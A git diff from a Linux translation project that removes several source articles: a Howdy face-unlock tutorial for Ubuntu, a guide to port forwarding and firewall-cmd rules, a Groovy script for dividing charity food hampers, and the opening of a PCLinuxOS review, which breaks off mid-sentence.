Linux distribution, as far as I know, provides face unlock feature out of the box. - -But as the saying goes, there is a shell, there is a way. In Linux, you’ll often find alternative things and tools that you can configure for a certain task. Remember the tutorial I wrote for [sharing mouse and keyboard between Linux and Raspberry Pi devices][2]? - -In this tutorial, I’ll show you how to set up face unlock in Ubuntu. You can use the tutorial for other Linux distributions as well. - -You need to be comfortable with the terminal and Linux commands because you’ll be using Linux command line tool. - -### Howdy: A Windows Hello Styled Facial Recognition Authentication System for Linux - -![][3] - -[Howdy][4] is an open source software that gives you the ability to login to your Linux system with face recognition. Consider it an open source Windows Hello alternative for Linux. Here, your data is stored locally on your computer. - -Howdy uses the built-in IR emitters and webcam combination to recognize your face. It is built using [OpenCV][5] and Python. - -Howdy uses the PAM authentication system which means not only you can login to your system with your face, you can also use it for sudo, su and in most other situations where you need to use your account password. However, in my testing, it could not unlock the [keyring in Ubuntu][6]. - -In this tutorial, I’ll show you how to install Howdy and how to set it up for facial recognition. The process is not too complicated but you should not be too uncomfortable using the terminal here. - -### Installing Howdy on Ubuntu and other Linux distributions - -The developer of [Howdy provides a handy PPA][7] that makes installing Howdy easier to install on Ubuntu-based distributions. - -Open a terminal and use the following commands on Ubuntu: - -``` -sudo add-apt-repository ppa:boltgolt/howdy -sudo apt update -sudo apt install howdy -``` - -Howdy is a big software and it installs a huge number of software libraries. For me, it showed around 140 MB of download size and 600 MB of disk size requirement after installation. - -During the installation, it asks you to choose from Fast, Balanced and Secure authentication type. I chose Balanced at this step because I don’t want to wait too long but don’t want it to be less secure as well. - -![][8] - -During the installation, it complains about adding **/usr/local/bin** in the PATH but for me it was already there. You may verify it for your system. - -#### Installing Howdy on other Linux distributions - -For Debian, you can [download the DEB file][9]. Arch/Manjaro users can install it from [AUR][10]. - -Fedora users have the option to [use COPR repository][11]: - -``` -sudo dnf copr enable luya/howdy -sudo dnf install howdy -``` - -openSUSE users can find the installation instructions [here][12]. - -As the last resort, you can get the source code on [its GitHub repository][4]. - -Since I am using Ubuntu 20.04 in this tutorial, some steps may use apt command but I believe you can use your distribution’s package manager in those steps. - -### Setting up face unlock on Ubuntu and other Linux with Howdy - -Let’s see how to set it up for facial recognition. - -#### Change config file - -Before you use Howdy, you should change the configuration file to specify your webcam device. - -On most Linux systems, /dev/video0 should be the device for webcam but you should make sure of it using v4l2-ctl command. - -Install v4l-utils first: - -``` -sudo apt install v4l-utils -``` - -Now use the v4l2-ctl command to list your devices - -``` -[email protected]:~$ v4l2-ctl --list-devices -Integrated_Webcam_HD: Integrate (usb-0000:00:14.0-5): - /dev/video0 - /dev/video1 -``` - -Why two (or more) video devices? You’ll have to check the capabilities of the device. The device should have Video Capture capability, not just Metadata Capture. - -You can check it with a command like v4l2-ctl –device=/dev/video0 –all and then look under the capability section. Most of the time, it should be the first device i.e. /dev/video0. - -Now, you need to set the device path in the Howdy config. You can do that by manually opening the **/lib/security/howdy/config.ini** file for editing or use the command below to open the config file for edit in your default terminal-based text editor: - -``` -sudo howdy config -``` - -Look for the line starting with device_path. Change its value to /dev/video0 or whatever is the path for your webcam device. - -![][13] - -Save and exit the file. You are ready to go now. - -#### Add your face for facial recognition - -Howdy is a command line tool. You have to do everything in the terminal. - -Now that you have the correct device path set, it is time to add some face in its database for the recognition. - -Use the following command to associate a face to the currently logged in user i.e. you. - -``` -sudo howdy add -``` - -It doesn’t show how your face looks like by opening a camera so you should look into the webcam to get your face captured properly. - -It will ask you to add an identifier to the face. You can name it anything you want. I used terms like glasses, with-headphones etc. - -![][14] - -I suggest adding a few more variants of your face specially if you wear glasses. Just run the sudo howdy add command each time you want to add a face. - -Howdy is ready to use as soon as you add a face. To test it, open a new terminal and run a command with sudo. You’ll notice that your webcam blinks and it tries to detect a face. If the face is not recognized, it will show an error message and ask you to use your password. - -![][15] - -To add a face for some other user, you should provide the username as well: - -``` -sudo howdy -U username add -``` - -You don’t need to worry about starting Howdy after reboot. Howdy starts automatically at each boot. - -#### List all the known face models for a user - -You can see what face models are associated to a user with the `list` option. If you don’t specify the username, it shows the output for the current user. - -``` -sudo howdy list -``` - -![][16] - -#### Clear some or all face models - -When you list all the face models for a user, you can use the remove option to delete a certain face model. You’ll have to provide the ID of the face model, not the label. - -``` -sudo howdy remove face_ID -``` - -![][17] - -You can remove all the face models with the following command: - -``` -sudo howdy clear -``` - -#### Disable and re-enable Howdy - -You can temporarily disable Howdy using this command: - -``` -sudo howdy disable 1 -``` - -You can re-enable it using the same disable option but with 0 as argument: - -``` -sudo howdy disable 0 -``` - -### Removing Howdy from your system - -You can use your distribution’s package manager to remove Howdy. - -On Ubuntu, use the following command: - -``` -sudo apt remove howdy -``` - -You should also [delete the PPA][18]: - -``` -sudo add-apt-repository -r ppa:boltgolt/howdy -``` - -For other distributions, use the uninstallation method that corresponds to the installation method you used. - -### Conclusion - -It’s fun to setup face unlock on Linux. I think this could provide base for [some good Raspberry Pi projects][19]. It’s a fun weekend exercise to do a thing like this. - -However, I won’t recommend setting up it on critical infrastructure or servers. [Facial recognition is not very secure][20]. - -Using face unlock on your personal Linux system is one thing but please don’t use it on servers or work machines. - -I hope you liked this DIY (if I may call it) tutorial. Let me know if you would like to see more such tutorials on It’s FOSS in the future. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/face-unlock-ubuntu/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://support.microsoft.com/en-in/help/4028017/windows-learn-about-windows-hello-and-set-it-up -[2]: https://itsfoss.com/keyboard-mouse-sharing-between-computers/ -[3]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/08/Face-Unlock-in-Linux.png?resize=800%2C450&ssl=1 -[4]: https://github.com/boltgolt/howdy -[5]: https://opencv.org/ -[6]: https://itsfoss.com/ubuntu-keyring/ -[7]: https://launchpad.net/~boltgolt/+archive/ubuntu/howdy -[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/08/select-face-unlock-level-ubuntu.png?resize=800%2C520&ssl=1 -[9]: https://github.com/boltgolt/howdy/releases -[10]: https://itsfoss.com/aur-arch-linux/ -[11]: https://copr.fedorainfracloud.org/coprs/luya/howdy/ -[12]: https://en.opensuse.org/SDB:Facial_authentication -[13]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/08/setup-howdy-for-face-unlock-in-ubuntu.png?resize=794%2C511&ssl=1 -[14]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/08/add-new-face-for-facial-recognition-linux.png?resize=799%2C225&ssl=1 -[15]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/08/use-sudo-with-face-unlock.png?resize=800%2C252&ssl=1 -[16]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/08/howdy-list-face-models.png?resize=729%2C381&ssl=1 -[17]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/08/remove-face-model-linux.png?resize=729%2C381&ssl=1 -[18]: https://itsfoss.com/how-to-remove-or-delete-ppas-quick-tip/ -[19]: https://itsfoss.com/raspberry-pi-projects/ -[20]: https://securitytoday.com/articles/2019/03/01/the-flaws-and-dangers-of-facial-recognition.aspx diff --git a/sources/tech/20200902 Open ports and route traffic through your firewall.md b/sources/tech/20200902 Open ports and route traffic through your firewall.md deleted file mode 100644 index 643aa8c0dc..0000000000 --- a/sources/tech/20200902 Open ports and route traffic through your firewall.md +++ /dev/null @@ -1,176 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Open ports and route traffic through your firewall) -[#]: via: (https://opensource.com/article/20/9/firewall) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -Open ports and route traffic through your firewall -====== -Safely and securely give outside parties access to your network. -![Traffic lights at night][1] - -Ideally, most local networks are protected from the outside world. If you've ever tried installing a service, such as a web server or a [Nextcloud][2] instance at home, then you probably know from first-hand experience that, while the service is easy to reach from inside the network, it's unreachable over the worldwide web. - -There are both technical and security reasons for this, but sometimes you want to open access to something within a local network to the outside world. This means you need to be able to route traffic from the internet into your local network—correctly and safely. In this article, I'll explain how. - -### Local and public IP addresses - -The first thing you need to understand is the difference between a local internet protocol (IP) address and a public IP address. Currently, most of the world (still) uses an addressing system called IPv4, which famously has a limited pool of numbers available to assign to networked electronic devices. In fact, there are more networked devices in the world than there are IPv4 addresses, and yet IPv4 continues to function. This is possible because of local addresses. - -All local networks in the world use the _same_ address pools. For instance, my home router's local IP address is 192.168.1.1. One of those is probably the same number as your home router, yet when I navigate to 192.168.1.1, I reach _my_ router's login screen and not _your_ router's login screen. That's because your home router actually has two addresses: one public and one local, and the public one shields the local one from being detected by the internet, much less from being confused for someone else's 192.168.1.1. - -![network of networks][3] - -(Seth Kenlon, [CC BY-SA 4.0][4]) - -This, in fact, is why the internet is called the internet: it's a "web" of interconnected and otherwise self-contained networks. Each network, whether it's your workplace or your home or your school or a big data center or the "cloud" itself, is a collection of connected hosts that, in turn, communicate with a gateway (usually a router) that manages traffic from the internet and to the local network, as well as out of the local network to the internet. - -This means that if you're trying to access a computer on a network that's not the network you're currently attached to, then knowing the local address of that computer does you no good. You need to know the _public_ address of the remote network's gateway. And that's not all. You also need permission to pass through that gateway into the remote network. - -### Firewalls - -Ideally, there are firewalls all around you, even now. You don't see them (hopefully), but they're there. As technology goes, firewalls have a fun name, but they're actually a little boring. A firewall is just a computer service (also called a "daemon"), a subsystem that runs in the background of most electronic devices. There are many daemons running on your computer, including the one listening for mouse or trackpad movements, for instance. A firewall is a daemon programmed to either accept or deny certain kinds of network traffic. - -Firewalls are relatively small programs, so they are embedded in most modern devices. They're running on your mobile phone, on your router, and your computer. Firewalls are designed based on network protocols, and it's part of the specification of talking to other computers that a data packet sent over a network must announce specific pieces of information about itself (or be ignored). One thing that network data contains is a _port_ number, which is one of the primary things a firewall uses when accepting or denying traffic. - -Websites, for instance, are hosted on web servers. When you want to view a website, your computer sends network data identifying itself as traffic destined for port 80 of the web host. The web server's firewall is programmed to accept incoming traffic destined for port 80, so it accepts your request (and the web server, in turn, sends you the web page in response). However, were you to send (whether by accident or by design) network data destined for port 22 of that web server, you'd likely be denied by the firewall (and possibly banned for some time). - -This can be a strange concept to understand because, like IP addresses, ports and firewalls don't really "exist" in the physical world. These are concepts defined in software. You can't open your computer or your router to physically inspect network ports, and you can't look at a number printed on a chip to find your IP address, and you can't douse your firewall in water to put it out. But now that you know these concepts exist, you know the hurdles involved in getting from one computer in one network to another on a different network. - -Now it's time to get around those blockades. - -### Your IP address - -I assume you have control over your own network, and you're trying to open your own firewalls and route your own traffic to permit outside traffic into your network. First, you need your local and public IP addresses. - -To find your local IP address, you can use the `ip` address command on Linux: - - -``` -$ ip addr show | grep "inet " - inet 127.0.0.1/8 scope host lo - inet 192.168.1.6/27 brd 10.1.1.31 scope [...] -``` - -In this example, my local IP address is 192.168.1.6. The other address (127.0.0.1) is a special "loopback" address that your computer uses to refer to itself from within itself. - -To find your local IP address on macOS, you can use `ifconfig`: - - -``` -$ ifconfig | grep "inet " - inet 127.0.0.1 netmask 0xff000000 - inet 192.168.1.6 netmask 0xffffffe0 [...] -``` - -And on Windows, use `ipconfig`: - - -``` -`$ ipconfig` -``` - -Get the public IP address of your router at [icanhazip.com][5]. On Linux, you can get this from a terminal with the [curl command][6]: - - -``` -$ curl -93.184.216.34 -``` - -Keep these numbers handy for later. - -### Directing traffic through a router - -The first device that needs to be adjusted is the gateway device. This could be a big, physical server, or it could be a tiny router. Either way, the gateway is almost certainly performing network address translation (NAT), which is the process of accepting traffic and altering the destination IP address. - -When you generate network traffic to view an external website, your computer must send that traffic to your local network's gateway because your computer has, essentially, no knowledge of the outside world. As far as your computer knows, the entire internet is just your network router, 192.168.1.1 (or whatever your router's address). So, your computer sends everything to your gateway. It's the gateway's job to look at the traffic and determine where it's _actually_ headed, and then forward that data on to the real internet. When the gateway receives a response, it forwards the incoming data back to your computer. - -If your gateway is a router, then to expose your computer to the outside world, you must designate a port in your router to represent your computer. This configures your router to accept traffic to a specific port and direct all of that traffic straight to your computer. Depending on the brand of router you use, this process goes by a few different names, including port forwarding or virtual server or sometimes even firewall settings. - -Every device is different, so there's no way for me to tell you exactly what you need to click on to adjust your settings. Generally, you access your home router through a web browser. Your router's address is sometimes printed on the bottom of the router, and it begins with either 192.168 or 10. - -Navigate to your router's address and log in with the credentials you were provided when you got your internet service. It's often as simple as `admin` with a numeric password (sometimes, this password is printed on the router, too). If you don't know the login, call your internet provider and ask for details. - -In the graphical interface, redirect incoming traffic for one port to a port (the same one is usually easiest) of your computer's local IP address. In this example, I redirect incoming traffic destined for port 22 (used for SSH connections) of my home router to my desktop PC. - -![Example of a router configuration][7] - -(Seth Kenlon, [CC BY-SA 4.0][4]) - -You can redirect any port you want. For instance, if you're hosting a website on a spare computer, you can redirect traffic destined for port 80 of your router to port 80 of your website host. - -### Directing traffic through a server - -If your gateway is a physical server, you can direct traffic using [firewall-cmd][8]. Using the _rich rule_ option, you can have your server listen for an incoming request at a specific address (your public IP) and specific port (in this example, I use 22, which is the port used for SSH), and then direct that traffic to an IP address and port in the local network (your computer's local address). - - -``` -$ firewall-cmd --permanent --zone=public \ -\--add-rich-rule 'rule family="ipv4" destination address="93.184.216.34" forward-port port=22 protocol=tcp to-port=22 to-addr=192.168.1.6' -``` - -### Set your firewall - -Most devices have firewalls, so you might find that traffic can't get through to your local computer even after you've forwarded ports and traffic. It's possible that there's a firewall blocking traffic even within your local network. Firewalls are designed to make your computer secure, so resist the urge to deactivate your firewall entirely (except for troubleshooting). Instead, you can selectively allow traffic. - -The process of modifying your personal firewall differs according to your operating system. - -On Linux, there are many services already defined. View the ones available: - - -``` -$ sudo firewall-cmd --get-services -amanda-client amanda-k5-client bacula bacula-client -bgp bitcoin bitcoin-rpc ceph cfengine condor-collector -ctdb dhcp dhcpv6 dhcpv6-client dns elasticsearch -freeipa-ldaps ftp [...] ssh steam-streaming svdrp [...] -``` - -If the service you're trying to allow is listed, you can add it to your firewall: - - -``` -`$ sudo firewall-cmd --add-service ssh --permanent` -``` - -If your service isn't listed, you can add the port you want to open manually: - - -``` -`$ sudo firewall-cmd --add-port 22/tcp --permanent` -``` - -Opening a port in your firewall is specific to your current _zone_. For more information about firewalls, firewall-cmd, and ports, refer to my article [_Make Linux stronger with firewalls_][8], and download our [Firewall cheatsheet][9] for quick reference. - -This step is only about opening a port in your computer so that traffic destined for it on a specific port is accepted. You don't need to redirect traffic because you've already done that at your gateway. - -### Make the connection - -You've set up your gateway and your local network to route traffic for you. Now, when someone outside your network navigates to your public IP address, destined for a specific port, they'll be redirected to your computer on the same port. It's up to you to monitor and safeguard your network, so use your new knowledge with care. Too many open ports can look like invitations to bad actors and bots, so only open what you intend to use. And most of all, have fun! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/firewall - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/traffic-light-go.png?itok=nC_851ys (Traffic lights at night) -[2]: http://nextcloud.org -[3]: https://opensource.com/sites/default/files/uploads/network-of-networks.png (network of networks) -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: http://icanhazip.com -[6]: https://opensource.com/article/20/5/curl-cheat-sheet -[7]: https://opensource.com/sites/default/files/uploads/port-mapping.png (Example of a router configuration) -[8]: https://opensource.com/article/19/7/make-linux-stronger-firewalls -[9]: https://opensource.com/article/20/2/firewall-cheat-sheet diff --git a/sources/tech/20200904 Managing a non-profit organization-s supply chain with Groovy.md b/sources/tech/20200904 Managing a non-profit organization-s supply chain with Groovy.md deleted file mode 100644 index e715dc47d5..0000000000 --- a/sources/tech/20200904 Managing a non-profit organization-s supply chain with Groovy.md +++ /dev/null @@ -1,229 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Managing a non-profit organization's supply chain with Groovy) -[#]: via: (https://opensource.com/article/20/9/groovy) -[#]: author: (Chris Hermansen https://opensource.com/users/clhermansen) - -Managing a non-profit organization's supply chain with Groovy -====== -Let's use Groovy to solve a charity's distribution problem. -![Jars with food inside on a shelf][1] - -There are many reasons I'm a big fan of [Java][2], but perhaps most of all, because of the particular combo of static typing and object-orientedness that imbues its design. However, when I need a quick solution, especially to a "solve it and forget it" problem dealing with data, I usually reach for [Groovy][3] (or sometimes [Python][4]) instead, especially if the library that addresses my problem exists and is well-documented. Sometimes even [awk][5] will do. But I keep meaning to start using [Julia][6] more, and then there's [Go][7]. - -Every so often, I run across a different kind of problem, and when it is sufficiently compact, sometimes I will solve it in a few languages, just to learn more about how each addresses the problem. - -Recently, a non-programmer colleague introduced me to just such a problem. It goes like this: - -> Many people living in community XYZ struggle to make ends meet on a daily basis. Employment opportunities in the community are limited and tend to be low-paying. The cost of living is comparatively high: water, electricity, and healthcare are expensive. Post-secondary education, whether academic or technical, means moving to the nearest city. On the plus side, the community is small and close-knit. People help each other out as much as their circumstances permit. -> -> COVID-19 has hit this community hard in the economic sense. Although there haven't been any infections yet, the two main employers in the town are facing financial ruin and have laid off almost all of their workers. The government has helped out, but the amount of help is not enough for the families struggling the hardest. -> -> A local branch of a national charity has received some funding to provide support to families in need. Seeking to stretch this funding as much as possible, the charity arranges to buy bulk lots of food and household supplies, then break up the bulk lots into family hampers of approximately equal monetary value. Their question is, how to do so? - -My colleague thought that perhaps I could help him with a spreadsheet to handle the distribution. However, to me, this seemed to be the perfect little problem to solve with a small program. What might the steps be? - - 1. Unpack the bulk packages into their individual units. - 2. While there are still units left: - 1. Grab a fresh hamper. - 2. Set the hamper value to zero. - 3. While the hamper value is less than the ideal hamper value and there are still units left: - 1. Pick a unit at random. - 2. If that unit isn't in the hamper and if the hamper value wouldn't be too high by adding it: - 1. Move the unit to the hamper. - 2. Increment the hamper value by the unit price. - - - -That seems like a good first approximation. It also seems like the perfect small algorithm to implement in Groovy. - -### The Groovy solution - -In Java, I find myself declaring utility classes to hold tuples of data (the new record feature is going to be great for that). In Groovy, I tend to use the language support for maps. Let's use a list of maps to hold the bulk items picked up from the wholesaler: - - -``` -def packs = [ -    [item:'Rice',brand:'Best Family',units:10,price:5650,quantity:1], -    [item:'Spaghetti',brand:'Best Family',units:1,price:327,quantity:10], -    [item:'Sardines',brand:'Fresh Caught',units:3,price:2727,quantity:3], -    [item:'Chickpeas',brand:'Southern Style',units:2,price:2600,quantity:5], -    [item:'Lentils',brand:'Southern Style',units:2,price:2378,quantity:5], -    [item:'Vegetable oil',brand:'Crafco',units:12,price:10020,quantity:1], -    [item:'UHT milk',brand:'Atlantic',units:6,price:4560,quantity:2], -    [item:'Flour',brand:'Neighbor Mills',units:10,price:5200,quantity:1], -    [item:'Tomato sauce',brand:'Best Family',units:1,price:190,quantity:10], -    [item:'Sugar',brand:'Good Price',units:1,price:565,quantity:10], -    [item:'Tea',brand:'Superior',units:5,price:2720,quantity:2], -    [item:'Coffee',brand:'Colombia Select',units:2,price:4180,quantity:5], -    [item:'Tofu',brand:'Gourmet Choice',units:1,price:1580,quantity:10], -    [item:'Bleach',brand:'Blanchite',units:5,price:3550,quantity:2], -    [item:'Soap',brand:'Sunny Day',units:6,price:1794,quantity:2]] -``` - -There is one bulk pack of 10 bags of rice and 10 bulk packs with one bag each of spaghetti. In the above, the variable `packs` is set to a list (actually a Java `ArrayList` underneath) of maps (actually a Java `HashMap` underneath). Because Groovy is dynamically typed (by default, anyway), I use `def` to declare the `packs` variable and am happy to have both `String` and `Integer` values in my maps. - -And yes, those prices do look a bit strange, but this problem happened in a place with a different currency. - -The next step is to unpack these bulk packages. Unpacking the single bulk package of rice yields 10 units of rice; that is, the total number of units yielded is `units * quantity`. Groovy provides a handy function called `collectMany` that can be used to flatten lists of lists, so the code to carry out the unpacking is really straightforward: - - -``` -def units = packs.collectMany { pack -> -    [[item:pack.item, brand:pack.brand, price:(pack.price / pack.units)]] * -                (pack.units * pack.quantity) -} -``` - -Note that `collectMany` takes a `Closure` as its argument; so this is a kind of locally declared function with a single parameter, `pack`, that returns a list of (`units * quantity`) maps, with each map including the item, brand, and calculated unit price from the corresponding bulk pack. Of note here is that the Groovy multiply operator (`*`) with a list on the left side and a number (`N`) on the right will produce a list with the original items replicated in order `N` times. - -The final step is to repack the units into the hampers for distribution. But first, I need to get a bit more specific about the ideal hamper value, and I might as well not be overly restrictive when there are just a few units left: - - -``` -def valueIdeal = 5000 -def valueMax = valueIdeal * 1.1 -``` - -OK! Let's repack the hampers: - - -``` -def rnd = new [Random][8]() -def hamperNumber = 0    // [1] - -while (units.size()) {  // [2] -    hamperNumber++ -    def hamper = [] -    def value = 0       // [2.1] -    for (boolean canAdd = true; canAdd; ) {        // [2.2] -        int u = rnd.nextInt(units.size())          // [2.2.1] -        canAdd = false                             // [2.2.2] -        for (int o = 0; o < units.size(); o++) {   // [2.2.3] -            int uo = (u + o) % units.size() -            def unit = units[uo]                   // [2.2.3.1] -            if (units.size() < 3 || -                        !(unit in hamper) && -                        (value + unit.price) < valueMax) { // [2.2.3.2] -                hamper.add(unit) -                value += unit.price -                units.remove(uo)                   // [2.2.3.3] -                canAdd = units.size() > 0 -                break                              // [2.2.3.4] -            } -        }                                          // [2.2.4] -    } -    println "" -    println "Hamper $hamperNumber value $value:" -    hamper.each { item -> -        printf "%-25s%-25s%7.2f\n",item.item,item.brand,item.price -    }                                                                   // [2.3] -    println "Remaining units ${units.size()} average price = $avgPrice" // [2.4] -} -``` - -Some clarification, with numbers in brackets in the comments above (e.g., _[1]_) corresponding to the clarifications below: - - * 1\. Initialize Groovy's random number generator and the hamper number. - * 2\. This `while {}` loop will redistribute units into hampers as long as there are more available: - * 2.1 Increment the hamper number, get a new empty hamper (a list of units), and set its value to 0. - * 2.2 This `for {}` loop will add as many units to the hamper as possible: - * 2.2.1 Get a random number between zero and the number of remaining units minus 1. - * 2.2.2 Assume you can't find more units to add. - * 2.2.3 This `for {}` loop, starting at the randomly chosen index, will try to find a unit that can be added to the hamper. - * 2.2.3.1 Figure out which unit to look at. - * 2.2.3.2 Add this unit to the hamper if there are only a few left or if the value of the hamper isn't too high once the unit is added. - * 2.2.3.3 Add the unit to the hamper, increment the hamper value by the unit price, and remove the unit from the available units list. - * 2.2.3.4 As long as there are units left, you can add more, so break out of this loop to keep looking. - * 2.2.4 On exit from this `for {}` loop, if you inspected every remaining unit and could not find one to add to the hamper, the hamper is complete; otherwise, you found one and can continue looking for more. - * 2.3 Print out the contents of the hamper. - * 2.4 Print out the remaining units info. - - - -When you run this code, the output looks like: - - -``` -Hamper 1 value 5414: -Vegetable oil            Crafco                    835.00 -Coffee                   Colombia Select          2090.00 -Tofu                     Gourmet Choice           1580.00 -Sardines                 Fresh Caught              909.00 -Remaing units 151 - -Hamper 2 value 5309: -Flour                    Neighbor Mills            520.00 -Sugar                    Good Price                565.00 -Vegetable oil            Crafco                    835.00 -Coffee                   Colombia Select          2090.00 -Rice                     Best Family               565.00 -Tomato sauce             Best Family               190.00 -Tea                      Superior                  544.00 -Remaing units 144 - -Hamper 3 value 5395: -Flour                    Neighbor Mills            520.00 -UHT milk                 Atlantic                  760.00 -Tomato sauce             Best Family               190.00 -Tofu                     Gourmet Choice           1580.00 -Spaghetti                Best Family               327.00 -Sugar                    Good Price                565.00 -Sardines                 Fresh Caught              909.00 -Tea                      Superior                  544.00 -Remaing units 136 - -… - -Hamper 23 value 5148: -Flour                    Neighbor Mills            520.00 -Tea                      Superior                  544.00 -Chickpeas                Southern Style           1300.00 -Lentils                  Southern Style           1189.00 -Vegetable oil            Crafco                    835.00 -UHT milk                 Atlantic                  760.00 -Remaing units 3 - -Hamper 24 value 3955: -Chickpeas                Southern Style           1300.00 -Sugar                    Good Price                565.00 -Coffee                   Colombia Select          2090.00 -Remaing units 0 -``` - -The last hamper is abbreviated in contents and value. - -### Closing thoughts - -Note there is some fiddly business about being able to add units to the hamper. Basically, you pick a random position in the list of units and, starting at that position, iterate through the list until you either find a unit whose price allows it to be included or until you exhaust the list. Also, when there are only a few items left, you just toss them into the last hamper. - -Another issue worth mentioning: This isn't a particularly efficient approach. Removing elements from `ArrayLists`, letting Groovy use its default `BigDecimal`, and a few other things make this less suitable for a huge redistribution problem. Still, it runs quite rapidly on my aging dual-core machine. - -And one final thought—using `while { … }` and `for { … }`? Really? Not some cool functional code? Afraid so. I couldn't think of a way to use map and reduce style closures in Groovy in collaboration with a random selection of units for repackaging. Can you? - -In another article article, I'll solve this in Python, and future articles will do it in Java, Julia, and Go. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/groovy - -作者:[Chris Hermansen][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/clhermansen -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_secret_ingredient_520x292.png?itok=QbKzJq-N (Jars with food inside on a shelf) -[2]: https://www.java.com/en/ -[3]: https://groovy-lang.org/ -[4]: https://www.python.org/ -[5]: https://www.gnu.org/software/gawk/manual/gawk.html -[6]: https://julialang.org/ -[7]: https://golang.org/ -[8]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+random diff --git a/sources/tech/20200906 PCLinuxOS Review- This Classic Independent Linux Distribution is Definitely Worth a Look.md b/sources/tech/20200906 PCLinuxOS Review- This Classic Independent Linux Distribution is Definitely Worth a Look.md deleted file mode 100644 index 0b5d0637a7..0000000000 --- a/sources/tech/20200906 PCLinuxOS Review- This Classic Independent Linux Distribution is Definitely Worth a Look.md +++ /dev/null @@ -1,144 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (PCLinuxOS Review: This Classic Independent Linux Distribution is Definitely Worth a Look) -[#]: via: (https://itsfoss.com/pclinuxos-review/) -[#]: author: (John Paul https://itsfoss.com/author/john/) - -PCLinuxOS Review: This Classic Independent Linux Distribution is Definitely Worth a Look -====== - -Most of the Linux distributions that we cover on It’s FOSS are based on either Ubuntu or Arch. - -No, we don’t have any affinity for either Ubuntu or Arch though personally, [I love using Manjaro][1]. It’s just that majority of new Linux distributions are based on these two. - -While discussing within the team, we thought, why fixate over new distributions. Why not go for the classic distributions? Distributions that don’t belong to DEB/Arch domain. - -So, today, we are going to be looking at an independent distro that tends to go against the flow. We’ll be looking at PCLinuxOS. - -### What is PCLinuxOS? - -![][2] - -Back in 2000, Bill Reynolds (also known as Texstar) created a series of packages to improve Mandrake Linux, which later became [Mandriva Linux][3]. [PCLinuxOS][4] first became a separate distro in 2003 when Texstar forked Mandrake. He [said][5] that he made the move because he wanted “to provide an outlet for my crazy desire to package source code without having to deal with egos, arrogance and politics”. - -As I said earlier, PCLinuxOS does not follow the rest of the Linux world. PCLinuxOS does not use systemd. Instead, it uses SysV init and “[will continue to do so for the foreseeable future][6]“. - -It also has one of the oddest package management systems, I have ever encountered. PCLinuxOS uses apt and [synaptic][7] to handle RPM packages. Unlike most distros that use either apt or rpm, PCLinuxOS is a rolling distro. It also supports [Flatpak][8]. - -The PCLinuxOS team offers [three different versions][9]: **KDE**, **MATE**, and **XFCE**. The PCLinuxOS community has also created a number of [community][10] [releases][11] with more desktop options. - -![PCLinuxOS Updater][12] - -### System requirements for PCLinuxOS - -According to the [PCLinuxOS wiki][13], the following hardware is recommended to run PCLinuxOS: - - * Modern Intel or AMD processor. - * 10 GB or more free space recommended. - * Minimum 2 GB of memory. – Recommended 4 GB or more. - * Any modern video card by Nvidia, ATI, Intel, SiS, Matrox, or VIA. - * 3D desktop support requires a 3D instructions set compatible card. - * Any Sound Blaster, AC97, or HDA compatible card. - * A CD or DVD drive. - * Flash drives can also be used to install, with PCLinuxOS-LiveUSB script just for this purpose. - * Generally any onboard network card will suffice. - * A high-speed internet connection is recommended for performing any updates/software installations as necessary. - - - -### Experience with PCLinuxOS - -I originally encountered PCLinuxOS when I was first entering the Linux world about 7+ years ago. Back then I was trying out distros like crazy. At the time, I didn’t quite understand it and ended up going with Lubuntu. - -Recently, I was reminded of the distro when [Matt Hartley][14], community manager at [OpenShot][15] mentioned it on the [Bryan Lunduke podcast][16]. PCLinuxOS is Hartley’s daily driver and has been for a while. Based on his comments, I decided to take another look at it. - -#### Smooth installation - -![PCLinuxOS installer][17] - -The majority of Linux distros use one of three installers, [Ubiquity][18], [Anaconda][19], or [Calamares][20]. PCLinuxOS is one of the few that has its own installer, which it inherited from Mandrake. The installation went quickly and without any issue. - -After the installation, I booted into the MATE [desktop environment][21] (because I had to). A dialog box asked me if I wanted to enable the update notifier. It’s always best to be up-to-date, so I did. - -#### Handy set of utilities - -Besides the usual list of utilities, office programs, and web tools, PCLinuxOS has a couple of interesting additions. Both Zoom (a videoconferencing tool) and AnyDesk (a remote desktop application) come pre-installed for your remote working needs. The menu also includes an option to install VirtualBox GuestAdditions (in case you installed 